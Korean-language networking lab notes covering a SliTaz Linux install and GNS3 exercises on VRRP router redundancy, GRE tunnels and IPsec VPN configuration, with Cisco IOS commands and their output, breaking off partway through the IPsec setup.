서버를 부팅한다.
로그인 정보
사용자: root
비밀번호: root

4. 파티션 작업
root@dolilive:~# fdisk -l

Disk /dev/hda: 2147 MB, 2147483648 bytes
16 heads, 63 sectors/track, 4161 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes

Disk /dev/hda doesn't contain a valid partition table


root@dolilive:~# fdisk /dev/hda
Device contains neither a valid DOS partition table, nor Sun, SGI, OSF or GPT disklabel
Building a new DOS disklabel. Changes will remain in memory only,
until you decide to write them. After that the previous content
won't be recoverable.


The number of cylinders for this disk is set to 4161.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of LILO)
2) booting and partitioning software from other OSs
   (e.g., DOS FDISK, OS/2 FDISK)

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-4161, default 1): Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-4161, default 4161): Using default value 4161

Command (m for help): p

Disk /dev/hda: 2147 MB, 2147483648 bytes
16 heads, 63 sectors/track, 4161 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes

   Device Boot      Start         End      Blocks  Id System
/dev/hda1               1        4161     2097112+ 83 Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table

5. 설치
root@dolilive:~# tazinst new /var/lib/tazinst.conf
root@dolilive:~# vi /var/lib/tazinst.conf
TGT_PARTITION="/dev/hda1"
TGT_USER_PWD="tux"   
TGT_GRUB="yes"                                                         

root@dolilive:~# tazinst install /var/lib/tazinst.conf
1. Formatting / partition: /dev/hda1 (ext3)
2. Installing SliTaz on: /dev/hda1
/usr/sbin/tazinst: line 54: /media/source/boot/grub/splash.xpm.gz: Permission denied
3. Configuring host name: slitaz
4. Configuring root and default user account: tux
Password for 'root' changed
Password for 'tux' changed
5. Running grub-install on: /dev/hda
Installation finished. No error reported.
This is the contents of the device map /mnt/target/boot/grub/device.map.
Check if this is correct or not. If any of the lines is incorrect,
fix it and re-run the script `grub-install'.

(hd0)	/dev/hda
6. Installation complete. You can now restart (reboot)
   from your SliTaz GNU/Linux system.
Copying log files (/var/log/tazinst.log)...
Unmounting target partition: /dev/hda1
Unmounting: /media/source
root@dolilive:~# reboot

6. 서버 로그인
서버를 재부팅해서 root/root로 서버에 로그인을 한다.

ssh 시작
root@slitaz:~# /etc/init.d/dropbear start

외부 터미널 접속
ssh로 접속한다.

실습> 라우터 이중화 VRRP 설정하기

VRRP(Virtual Router Redundancy Protocol)는 RFC Standard  2338에 정의된 표준 프로토콜이다. 
HSRP는 Cisco 에서 개발되어 Cisco만 지원하지만 VRRP는 모든 Vendor에서 지원되는 IEEE에서 표준으로 제정한 Protocol 이다.

VRRP는 라우터를 이중화하는 기술로 
여러 대 (최소 2대 이상)의 Router를 하나의 group으로 묶어서 
Client의 Gateway에 대한 IP Address를 공유하고 Priority가 높은 Router가 Master로 설정되고 Gateway로 동작하다가 
Master Router에 장애가 발생하면 
그 다음 Priority의 높은 값을 가진 Backup Router가 Master를 넘겨 받아 변경되어 Gateway로 동작한다. 
그러므로 Client는 장애없이 통신을 유지 할 수 있다.

특징
Multicast 주소: 224.0.0.8
hello time: 1초, hold time: 3초
주: master, 보조: backup

VRRP 상태변화
Init: 이중화 동작의 준비 상태
Backup: init 다음 상태 또는 보조 장비 상태
Master: 주 장비 역할을 수행하는 상태


파일명: vrrp.gns

1. PC 설정
PC1> ip 192.168.10.11 255.255.255.0 192.168.10.1
Checking for duplicate address...
PC1 : 192.168.10.11 255.255.255.0 gateway 192.168.10.1

PC1> sh ip

NAME        : PC1[1]
IP/MASK     : 192.168.10.11/24
GATEWAY     : 192.168.10.1
DNS         : 
MAC         : 00:50:79:66:68:00
LPORT       : 10028
RHOST:PORT  : 127.0.0.1:10029
MTU:        : 1500

PC2> ip 172.16.10.11 255.255.255.0 172.16.10.1
Checking for duplicate address...
PC1 : 172.16.10.11 255.255.255.0 gateway 172.16.10.1

PC2> sh ip

NAME        : PC2[1]
IP/MASK     : 172.16.10.11/24
GATEWAY     : 172.16.10.1
DNS         : 
MAC         : 00:50:79:66:68:01
LPORT       : 10030
RHOST:PORT  : 127.0.0.1:10031
MTU:        : 1500

PC3> ip 172.16.10.12 255.255.255.0 172.16.10.1
Checking for duplicate address...
PC1 : 172.16.10.12 255.255.255.0 gateway 172.16.10.1

PC3> sh ip

NAME        : PC3[1]
IP/MASK     : 172.16.10.12/24
GATEWAY     : 172.16.10.1
DNS         : 
MAC         : 00:50:79:66:68:02
LPORT       : 10032
RHOST:PORT  : 127.0.0.1:10033
MTU:        : 1500

2. R3 설정
conf t
 int fa0/0
 ip add 192.168.0.2 255.255.255.0
 no sh
 do sh run int fa0/0
! 
 int fa0/1
 ip addr 192.168.1.2 255.255.255.0
 no sh 
 do sh run int fa0/1
!
 int fa1/0
  ip add 192.168.10.1 255.255.255.0
  no sh 
  do sh run int fa1/0
 end
!
R3#sh ip int b
Interface                  IP-Address      OK? Method Status                Protocol
FastEthernet0/0            192.168.0.2     YES manual up                    up      
Serial0/0                  unassigned      YES unset  administratively down down    
FastEthernet0/1            192.168.1.2     YES manual up                    up      
Serial0/1                  unassigned      YES unset  administratively down down    
Serial0/2                  unassigned      YES unset  administratively down down    
Serial0/3                  unassigned      YES unset  administratively down down    
FastEthernet1/0            192.168.10.1      YES manual up                    up      
FastEthernet2/0            unassigned      YES unset  administratively down down    
FastEthernet3/0            unassigned      YES unset  administratively down down    
FastEthernet4/0            unassigned      YES unset  administratively down down  

라우팅 설정
!
conf t
 ip route 172.16.10.0 255.255.255.0 192.168.0.1
 ip route 172.16.10.0 255.255.255.0 192.168.1.1
 end
! 
R3#sh ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

     172.16.0.0/24 is subnetted, 1 subnets
S       172.16.10.0 [1/0] via 192.168.1.1
                    [1/0] via 192.168.0.1
     10.0.0.0/24 is subnetted, 1 subnets
C       192.168.10.0 is directly connected, FastEthernet1/0
C    192.168.0.0/24 is directly connected, FastEthernet0/0
C    192.168.1.0/24 is directly connected, FastEthernet0/1

R3#wr
Building configuration...
[OK]


3. 통신 확인
R3#ping 192.168.10.11

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.10.11, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 36/56/72 ms

PC1> ping 192.168.10.1
84 bytes from 192.168.10.1 icmp_seq=1 ttl=255 time=13.319 ms
84 bytes from 192.168.10.1 icmp_seq=2 ttl=255 time=15.321 ms
84 bytes from 192.168.10.1 icmp_seq=3 ttl=255 time=15.657 ms
84 bytes from 192.168.10.1 icmp_seq=4 ttl=255 time=14.981 ms
84 bytes from 192.168.10.1 icmp_seq=5 ttl=255 time=15.290 ms

4. 라우터 설정

!R1 설정
conf t
 int fa0/0
 ip address 172.16.10.2 255.255.255.0
 no sh 
 do sh run int fa0/0
! 
 int fa0/1
 ip add 192.168.0.1 255.255.255.0
 no sh 
 do sh run int fa0/1
!
 ip route 0.0.0.0 0.0.0.0 192.168.0.2
 end
!
wr
!

!R2 설정
conf t
 int fa0/0
 ip add 172.16.10.3 255.255.255.0
 no sh 
 do sh run int fa0/0
!
 int fa0/1
 ip add 192.168.1.1 255.255.255.0
 no sh 
 do sh run int fa0/1
!
 ip route 0.0.0.0 0.0.0.0 192.168.1.2
 end
!
wr
!

5. VRRP 설정

!R1 VRRP 설정
conf t
 track 1 int fa0/1 line-protocol  <-- Tracking 정책 설정(fa0/1 장애 감지)
 int fa0/0               <-- 인터페이스 선택
 vrrp 1 ip 172.16.10.1   <-- 공유하는 Gateway 주소
 vrrp 1 priority 110     <-- 우선순위(기본값 100)를 110으로 설정
 vrrp 1 preempt          <-- Master의 장애 복구 시 Master를 수행
 vrrp 1 track 1 decrement 30  <-- VRRP에 Track 정책 적용(우선순위 30 감소)
 end
!

R1#sh vrrp all
FastEthernet0/0 - Group 1  
  State is Master  
  Virtual IP address is 172.16.10.1
  Virtual MAC address is 0000.5e00.0101  <-- 가상의 MAC주소(R2와 동일)
  Advertisement interval is 1.000 sec
  Preemption enabled
  Priority is 110 
    Track object 1 state Up decrement 30
  Master Router is 172.16.10.2 (local), priority is 110 
  Master Advertisement interval is 1.000 sec
  Master Down interval is 3.570 sec

R1#sh vrrp b  
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   110 3570       Y  Master  172.16.10.2     172.16.10.1  

R1이 가지고 있는 원래의 MAC주소 c401.4530.0000
R1#sh int fa0/0
FastEthernet0/0 is up, line protocol is up 
  Hardware is Gt96k FE, address is c401.4530.0000 (bia c401.4530.0000)
  Internet address is 172.16.10.2/24
  MTU 1500 bytes, BW 10000 Kbit/sec, DLY 1000 usec, 
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  :
  :(생략)

!R2 VRRP 설정
conf t
 int fa0/0
 vrrp 1 ip 172.16.10.1  <-- 공유하는 Gateway 주소
 vrrp 1 priority 100    <-- 우선순위(기본값 100)를 100으로 설정
 vrrp 1 preempt         <-- Master의 장애 복구 시 Master를 수행
 end
!

R2#sh vrrp all
FastEthernet0/0 - Group 1  
  State is Backup  
  Virtual IP address is 172.16.10.1
  Virtual MAC address is 0000.5e00.0101   <-- 가상의 MAC주소(R1과 동일)
  Advertisement interval is 1.000 sec
  Preemption enabled
  Priority is 100 
  Master Router is 172.16.10.2, priority is 110 
  Master Advertisement interval is 1.000 sec
  Master Down interval is 3.609 sec (expires in 3.169 sec)

R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Backup  172.16.10.2     172.16.10.1   

R2가 가지고 있는 원래의 MAC주소 c402.3834.0000
R2#sh int fa0/0
FastEthernet0/0 is up, line protocol is up 
  Hardware is Gt96k FE, address is c402.3834.0000 (bia c402.3834.0000)
  Internet address is 172.16.10.3/24
  MTU 1500 bytes, BW 10000 Kbit/sec, DLY 1000 usec, 
     reliability 255/255, txload 1/255, rxload 1/255
  :
  :(생략)

R2#wr
Building configuration...
[OK]
R2#

6. 라우팅 확인
R1#sh ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 192.168.0.2 to network 0.0.0.0

     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.10.0 is directly connected, FastEthernet0/0
C    192.168.0.0/24 is directly connected, FastEthernet0/1
S*   0.0.0.0/0 [1/0] via 192.168.0.2

R2#sh ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 192.168.1.2 to network 0.0.0.0

     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.10.0 is directly connected, FastEthernet0/0
C    192.168.1.0/24 is directly connected, FastEthernet0/1
S*   0.0.0.0/0 [1/0] via 192.168.1.2

7. VRRP 확인
R1#sh vrrp all
FastEthernet0/0 - Group 1  
  State is Master  
  Virtual IP address is 172.16.10.1
  Virtual MAC address is 0000.5e00.0101
  Advertisement interval is 1.000 sec
  Preemption enabled
  Priority is 110 
    Track object 1 state Up decrement 30
  Master Router is 172.16.10.2 (local), priority is 110 
  Master Advertisement interval is 1.000 sec
  Master Down interval is 3.570 sec

R1#sh vrrp b  
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   110 3570       Y  Master  172.16.10.2     172.16.10.1  

R2#sh vrrp all
FastEthernet0/0 - Group 1  
  State is Backup  
  Virtual IP address is 172.16.10.1
  Virtual MAC address is 0000.5e00.0101
  Advertisement interval is 1.000 sec
  Preemption enabled
  Priority is 100 
  Master Router is 172.16.10.2, priority is 110 
  Master Advertisement interval is 1.000 sec
  Master Down interval is 3.609 sec (expires in 2.989 sec)

R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Backup  172.16.10.2     172.16.10.1   

8. 통신 확인
PC1> ping 172.16.10.11
172.16.10.11 icmp_seq=1 timeout
172.16.10.11 icmp_seq=2 timeout
84 bytes from 172.16.10.11 icmp_seq=3 ttl=62 time=60.816 ms
84 bytes from 172.16.10.11 icmp_seq=4 ttl=62 time=60.036 ms
84 bytes from 172.16.10.11 icmp_seq=5 ttl=62 time=60.698 ms

PC2> ping 192.168.10.11
84 bytes from 192.168.10.11 icmp_seq=1 ttl=62 time=60.304 ms
84 bytes from 192.168.10.11 icmp_seq=2 ttl=62 time=61.048 ms
84 bytes from 192.168.10.11 icmp_seq=3 ttl=62 time=60.288 ms
84 bytes from 192.168.10.11 icmp_seq=4 ttl=62 time=61.053 ms
84 bytes from 192.168.10.11 icmp_seq=5 ttl=62 time=60.013 ms

9. 우선 순위 변경
현재 R1의 priority의 값이 R2의 100 보다 높기 때문에 Master로 설정된 것이다.
R1#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   110 3414       Y  Master  172.16.10.2     172.16.10.1

현재 R2의 priority의 값이 R1의 110 보다 낮기 때문에 Bakcup으로 설정된 것이다.
R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Backup  172.16.10.2     172.16.10.1

R1에서 priority의 값을 20으로 변경하면 R2의 100 보다 낮기 때문에 Master에서 Backup으로 변경된 것이다.
R1#conf t
R1(config)#int fa0/0
R1(config-if)#vrrp 1 priority 20
*Mar  1 01:55:10.567: %VRRP-6-STATECHANGE: Fa0/0 Grp 1 state Master -> Backup
R1(config-if)#end
R1#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   20  3921       Y  Backup  172.16.10.3     172.16.10.1

R2에서도 R1에서 priority의 값을 변경했으므로 R1의 20보다 높기 때문에 Backup에서 Master로 변경된 것이다.
*Mar  1 01:53:40.527: %VRRP-6-STATECHANGE: Fa0/0 Grp 1 state Backup -> Master
R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Master  172.16.10.3     172.16.10.1

R1에서 priority의 값을 다시 110으로 변경해서 Backup보다 높기 때문에 Master로 변경된 것이다.
*Mar  1 01:53:40.527: %VRRP-6-STATECHANGE: Fa0/0 Grp 1 state Backup -> Master

우선 순위 설정을 다 확인했다면 R1의 우선순위 값을 다시 원래 값은 110으로 설정한다.
R1(config-if)#vrrp 1 priority 110
R1(config-if)#do sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   110 3570       Y  Master  172.16.10.2     172.16.10.1 

R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Backup  172.16.10.2     172.16.10.1    


10. 통신 경로 확인

PC2> ping 192.168.10.11
192.168.10.11 icmp_seq=1 timeout
192.168.10.11 icmp_seq=2 timeout
84 bytes from 192.168.10.11 icmp_seq=3 ttl=62 time=60.513 ms
84 bytes from 192.168.10.11 icmp_seq=4 ttl=62 time=60.740 ms
84 bytes from 192.168.10.11 icmp_seq=5 ttl=62 time=60.443 ms

GateWay의 IP주소와 MAC주소는 가상의 주소를 사용하는 것을 알 수 있다.
PC2> sh arp 

00:00:5e:00:01:01  172.16.10.1 expires in 46 seconds 

Master, Backup 2개가 정상적으로 동작이 될 때 패킷 경로는 Master쪽으로 나가는 것을 알 수 있다.
PC2> trace 192.168.10.11
trace to 192.168.10.11, 8 hops max, press Ctrl+C to stop
 1   172.16.10.2   15.613 ms  15.211 ms  14.467 ms
 2   192.168.0.2   45.709 ms  46.359 ms  45.543 ms
 3   *192.168.10.11   60.253 ms (ICMP type:3, code:3, Destination port unreachable)


R1 라우터 장애 발생: 중지를 누른다.
R1 라우터가 장애가 발생하는 순간 R2 라우터에서 state 상태가 Backup -> Master로 변경된다.
R2#
*Mar  1 01:13:25.651: %VRRP-6-STATECHANGE: Fa0/0 Grp 1 state Backup -> Master
R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Master  172.16.10.3     172.16.10.1  

PC2> ping 192.168.10.11
192.168.10.11 icmp_seq=1 timeout
192.168.10.11 icmp_seq=2 timeout
84 bytes from 192.168.10.11 icmp_seq=3 ttl=62 time=60.044 ms
84 bytes from 192.168.10.11 icmp_seq=4 ttl=62 time=59.915 ms
84 bytes from 192.168.10.11 icmp_seq=5 ttl=62 time=60.518 ms

PC2> sh arp

00:00:5e:00:01:01  172.16.10.1 expires in 11 seconds 

PC2> trace 192.168.10.11
trace to 192.168.10.11, 8 hops max, press Ctrl+C to stop
 1   172.16.10.3   15.808 ms  15.220 ms  15.462 ms   <-- 여기 부분
 2   192.168.1.2   45.419 ms  45.323 ms  46.166 ms
 3   *192.168.10.11   60.578 ms (ICMP type:3, code:3, Destination port unreachable)

와이어 샤크로 R2쪽 라인의 패킷을 모니터링하면서 PC2에서 192.168.10.11로 ping 테스트를 해서 패킷을 확인한다. 
PC2> ping 192.168.10.11 
84 bytes from 192.168.10.11 icmp_seq=1 ttl=62 time=60.170 ms
84 bytes from 192.168.10.11 icmp_seq=2 ttl=62 time=60.667 ms
84 bytes from 192.168.10.11 icmp_seq=3 ttl=62 time=61.387 ms
84 bytes from 192.168.10.11 icmp_seq=4 ttl=62 time=61.043 ms
84 bytes from 192.168.10.11 icmp_seq=5 ttl=62 time=60.058 ms

R1 라우터 복구하기 위해서 start를 한다.
R1 라우터가 장애가 복구되는 순간 R2 라우터에서-> Backup 으로 변경된다.
R2#
*Mar  1 01:18:53.763: %VRRP-6-STATECHANGE: Fa0/0 Grp 1 state Master -> Backup
R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Backup  172.16.10.2     172.16.10.1   

R1 라우터는  state 상태가 Master가 된다.
R1#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   110 3570       Y  Master  172.16.10.2     172.16.10.1  

R1 라우터의 장애가 복구 되었으므로 R1 라우터가 Master 가 되므로 패킷은 R1 라우터로 가는 것을 확인할 수 있다.
PC2> ping 192.168.10.11
192.168.10.11 icmp_seq=1 timeout
192.168.10.11 icmp_seq=2 timeout
192.168.10.11 icmp_seq=3 timeout
84 bytes from 192.168.10.11 icmp_seq=4 ttl=62 time=60.200 ms
84 bytes from 192.168.10.11 icmp_seq=5 ttl=62 time=60.172 ms

PC2> trace 192.168.10.11
trace to 192.168.10.11, 8 hops max, press Ctrl+C to stop
 1   172.16.10.2   15.171 ms  30.578 ms  14.339 ms   <-- 여기 부분
 2   192.168.0.2   45.009 ms  45.779 ms  45.684 ms
 3   *192.168.10.11   60.696 ms (ICMP type:3, code:3, Destination port unreachable)

실습> GRE 터널 설정하기

참고: https://cafe.naver.com/linuxmasternet/1716

파일명: gre.gns

네트워크 토폴로지

                        1.1.1.0/24      2.2.2.0/24 
      192.168.10.0/24         |               |          10.10.20.0/24
            |               |               |               |
  [PC1]------------[R1]------------[R2]------------[R3]------------[PC2]
                f0/0  f0/1      f0/0  f0/1      f0/1  f0/0    
      .1        .253  .1          .2  .2          .1  .253         .1
                      +----------------------------+
                 .1 tunnel0  192.168.100.0/24  tunnel0 .2
                      +----------------------------+  
                                                  
파일명: GRE.gns3

GRE (Generic Routing Encapsulation)
- Cisco에서 개발한 터널링 프로토콜로 산업 표준으로 사용된다.
- 다양한 종류의 Passenger Protocol을 Encapsulation하여 전달한다.
- Tunneling 기능만 제공하고 데이터 암호화는 제공하지 않는다.
- GRE(Tunnel) + IPsec(Encryption)의 구성으로 VPN을 구축한다.


1. GNS 네트워크 설정
고정/유동 IP주소를 설정한다.
eth0: 192.168.101.128/24
eth1: 192.168.108.134/24

2. PC1 설정
ip 192.168.10.1 255.255.255.0 192.168.10.253 
sh ip

3. R1 설정
!R1
conf t
 int fa0/0
 ip addr 192.168.10.253 255.255.255.0
 no sh
 int fa0/1
 ip addr 1.1.1.1 255.255.255.0
 no sh
 ip route 0.0.0.0 0.0.0.0 1.1.1.2
!
 
4. R2 설정
!R2
conf t
 int fa0/0
 ip addr 1.1.1.2 255.255.255.0
 no sh
 int fa0/1
 ip addr 2.2.2.2 255.255.255.0
 no sh
!

ping 테스트를 위해서 아래 두 네트워크의 라우팅을 설정한다.
이 설정은 GRE를 설정하면 삭제한다.
현재 R2에서 설정하지 않았기 때문에 삭제하지 않아도 된다.
!
 no ip route 192.168.10.0 255.255.255.0 1.1.1.1
 no ip route 10.10.20.0 255.255.255.0 2.2.2.1
!
 
5. R3 설정
!R3
conf t
 int fa0/0
 ip addr 10.10.20.253 255.255.255.0
 no sh
 int fa0/1
 ip addr 2.2.2.1 255.255.255.0
 no sh
 ip route 0.0.0.0 0.0.0.0 2.2.2.2
!
 
6. PC2 설정
ip 10.10.20.1 255.255.255.0 10.10.20.253 
sh ip

7. 통신 확인
ping 테스트를 할 때 R1과 R3 사이에 와이어샤크로 확인한다.
R2에서 라우팅이 설정이 안되어 있으므로 통신이 불가능한다.
PC1> ping 10.10.20.1
10.10.20.1 icmp_seq=1 timeout
10.10.20.1 icmp_seq=2 timeout
10.10.20.1 icmp_seq=3 timeout
10.10.20.1 icmp_seq=4 timeout
10.10.20.1 icmp_seq=5 timeout

PC2> ping 192.168.10.1
192.168.10.1 icmp_seq=1 timeout
192.168.10.1 icmp_seq=2 timeout
192.168.10.1 icmp_seq=3 timeout
192.168.10.1 icmp_seq=4 timeout
192.168.10.1 icmp_seq=5 timeout

8. GRE 터널 설정
가상의 GRE 터널 인터페이스를 설정한다.
!R1
 int tunnel 0
 ip addr 192.168.100.1 255.255.255.0
 tunnel source 1.1.1.1 
 tunnel destination 2.2.2.1
 tunnel mode gre ip 
!

!R3
 int tunnel 1
 ip addr 192.168.100.2 255.255.255.0
 tunnel source 2.2.2.1
 tunnel destination 1.1.1.1
 tunnel mode gre ip
!
 
GRE 터널 라우팅을 설정한다.
!R1
 ip route 10.10.20.0 255.255.255.0 192.168.100.2
!
 
!R3 
 ip route 192.168.10.0 255.255.255.0 192.168.100.1
!

GRE 터널 설정이 완료되면 ping 테스트를 위해서 설정한 아래 두 라우팅 설정을 삭제한다.
!
!R2
R2(config)#no ip route 192.168.10.0 255.255.255.0 1.1.1.1
R2(config)#no ip route 10.10.20.0 255.255.255.0 2.2.2.1
!

9. 통신 확인
ping 테스트를 할 때 R1과 R3 사이에 와이어샤크로 확인한다.
패킷을 확인해보면 GRE 터널로 통신이 되는 것을 확인할 수 있다.
PC1> ping 10.10.20.1
PC2> ping 192.168.10.1

10. 와이어샤크 분석
와이어샤크로 ping 패킷을 분석한다. 

실습> PPTP, L2TP 설정하기

참고: https://cafe.naver.com/linuxmasternet/1724

IPSec
참고: terms.naver.com/entry.naver?docId=3377003&cid=40942&categoryId=32851

실습> IPsec VPN 설정하기

https://cafe.naver.com/linuxmasternet/1723
https://cafe.naver.com/linuxmasternet/1719

파일명: vpn.gns3

IKE(Internet Key Exchage) ISAKMP(Inernet Security Association and Key Management Protocol)는
처음 통신 당사자를 인증하고 보안통신에 필요한 보안정책 집합인 SA(Security Association)를 결정하고
보안통신에 필요한 여러가지 키를 결정하기 위한 프로토콜이다.

SA(Security Association)란 보안 통신을 위해 필요한 여러가지 알고리즘 및 정책의 집합을 말한다.
예를 들어서 ISAKMP 프로토콜을 암호화하기 위해서 AES라는 암호화 방식을 사용하고 무결성 확인을 위해서 MD5알고리즘을 사용한다면
이와 같은 여러가지 보안 정책의 집합을 ISAKMP SA라고 한다.

실제 데이터를 IPsec으로 송수신하기 위해서 3DES, SHA-1등과 같은 보안정책을 사용한다면 이 보안 정책의 집합을 IPsec SA라고 한다.

ESP(Encapsulating Security Payload)는 데이터를 암호화시키고 무결성 확인 기능이 있다.

IKE 1단계 (메인 모드: main mode)  6번 통신
R1                R2
 ------------------>  ISAKMP SA 제안 (인증=PSK, 암호화=AES, 해싱=MD5, DH=그룹2)
 <------------------  ISAKMP SA 선택 (인증=PSK, 암호화=AES, 해싱=MD5, DH=그룹2)
 ------------------>  디피 헬먼 키 교환(R1의 공개키, R1이 생성한 임의의 수)
 <------------------  디피 헬먼  교환(R2의 공개키, R2가 생성한 임의의 수)
--------------------> 인증(암호화된 ID와 해시코드)
<-------------------  인증(암호화된 ID와 해시코드)

IKE 2단계 보안정책 협상 (퀵모드: quick mode)  3번 통신
--------------------> IPsec SA 제안 (암호화/해싱 알고리즘, 보호대상 네트워크...)
<-------------------- IPsec SA 선택 (암호화/해싱 알고리즘, 보호대상 네트워크...)
--------------------> 수신확인



작업 순서
1. 네트워크를 설정
2. IPsec VPN 설정
- IKE 1단계 정책을 설정한다.
- IKE 2단계 정책을 설정한다.
- 크립토 맵을 만들고 인터페이스에 적용한다.

1. 네트워크 설정
PC의 네트워크를 설정한다.
PC1> ip 10.1.10.1 255.255.255.0 10.1.10.254
Checking for duplicate address...
PC1 : 10.1.10.1 255.255.255.0 gateway 10.1.10.254

PC1> sh ip

NAME        : PC1[1]
IP/MASK     : 10.1.10.1/24
GATEWAY     : 10.1.10.254
DNS         : 
MAC         : 00:50:79:66:68:00
LPORT       : 10036
RHOST:PORT  : 127.0.0.1:10037
MTU:        : 1500


PC2> ip 10.1.40.4 255.255.255.0 10.1.40.254
Checking for duplicate address...
PC1 : 10.1.40.4 255.255.255.0 gateway 10.1.40.254

PC2> sh ip

NAME        : PC2[1]
IP/MASK     : 10.1.40.4/24
GATEWAY     : 10.1.40.254
DNS         : 
MAC         : 00:50:79:66:68:01
LPORT       : 10038
RHOST:PORT  : 127.0.0.1:10039
MTU:        : 1500


PC3> ip 10.1.50.5 255.255.255.0 10.1.50.254
Checking for duplicate address...
PC1 : 10.1.50.5 255.255.255.0 gateway 10.1.50.254

PC3> sh ip

NAME        : PC3[1]
IP/MASK     : 10.1.50.5/24
GATEWAY     : 10.1.50.254
DNS         : 
MAC         : 00:50:79:66:68:02
LPORT       : 10040
RHOST:PORT  : 127.0.0.1:10041
MTU:        : 1500


라우터의 네트워크를 설정한다.
!R1
conf t
 int f0/0
 ip add 10.1.10.254 255.255.255.0
 no sh
 int s0/0
 ip add 10.1.12.1 255.255.255.0
 no sh
!
 router eigrp 1
 network 10.1.10.0 0.0.0.255
 network 10.1.12.0 0.0.0.0
 no auto-summary    
!



!R2
conf t
 int s0/0
 ip add 10.1.12.2 255.255.255.0
 no sh
 int s0/1
 ip add 1.1.23.2 255.255.255.0
 no sh
!
 router eigrp 1
 network 10.1.12.0 0.0.0.255
 network 1.1.23.0 0.0.0.255 
 no auto-summary  
!

!R3
conf t
 int s0/1
 ip add 1.1.23.3 255.255.255.0
 no sh
 int s0/2
 ip add 1.1.34.3 255.255.255.0
 no sh
 int s0/3
 ip add 1.1.35.3 255.255.255.0
 no sh
!
 router eigrp 1
 network 1.1.23.0 0.0.0.255
 network 1.1.34.0 0.0.0.255 
 network 1.1.35.0 0.0.0.255
 no auto-summary  
!

!R4
conf t
 int f0/0
 ip add 10.1.40.254 255.255.255.0
 no sh
 int s0/2
 ip add 1.1.34.4 255.255.255.0 
 no sh
!
 router eigrp 1
 network 10.1.40.0 0.0.0.255
 network 1.1.34.0 0.0.0.255
 no auto-summary   
!

!R5
conf t
 int f0/0
 ip add 10.1.50.254 255.255.255.0
 no sh
 int s0/3
 ip add 1.1.35.5 255.255.255.0
 no sh
!
 router eigrp 1
 network 10.1.50.0 0.0.0.255
 network 1.1.35.0 0.0.0.255
 no auto-summary   
!

디폴트 루트를 설정한다.
!R2
 ip route 0.0.0.0 0.0.0.0 1.1.23.3
 
!R4
 ip route 0.0.0.0 0.0.0.0 1.1.34.3
 
!R5
 ip route 0.0.0.0 0.0.0.0 1.1.35.3

통신 확인
R2#ping 1.1.34.4
R2#ping 1.1.35.5


R2 ACL 설정
경계 라우터인 R2에서 ACL을 설정한다.
ACL 설정이 꼭 필요한 것은 아니지만 IPsec VPN의 동작을 확인하는데 도움이 된다.
!R2
 ip access-list extended ACL-INBOUND
 permit udp host 1.1.34.4 eq 500 host 1.1.23.2 eq 500
 permit udp host 1.1.35.5 eq 500 host 1.1.23.2 eq 500  
 permit esp host 1.1.34.4 host 1.1.23.2
 permit esp host 1.1.35.5 host 1.1.23.2
 exit
 do sh access-lists

 int s0/1
 ip access-group ACL-INBOUND in

2. IPsec VPN 설정

ISAKMP 등록 명령어
Pahse1 설정 - 마스터 키 생성
1. (config)# crypto isakmp policy [정책 식별 번호]
2. (config-isakmp)# encryption [대칭키 알고리즘] [키 사이즈]  
3. (config-isakmp)# authentication [인증 방식]  
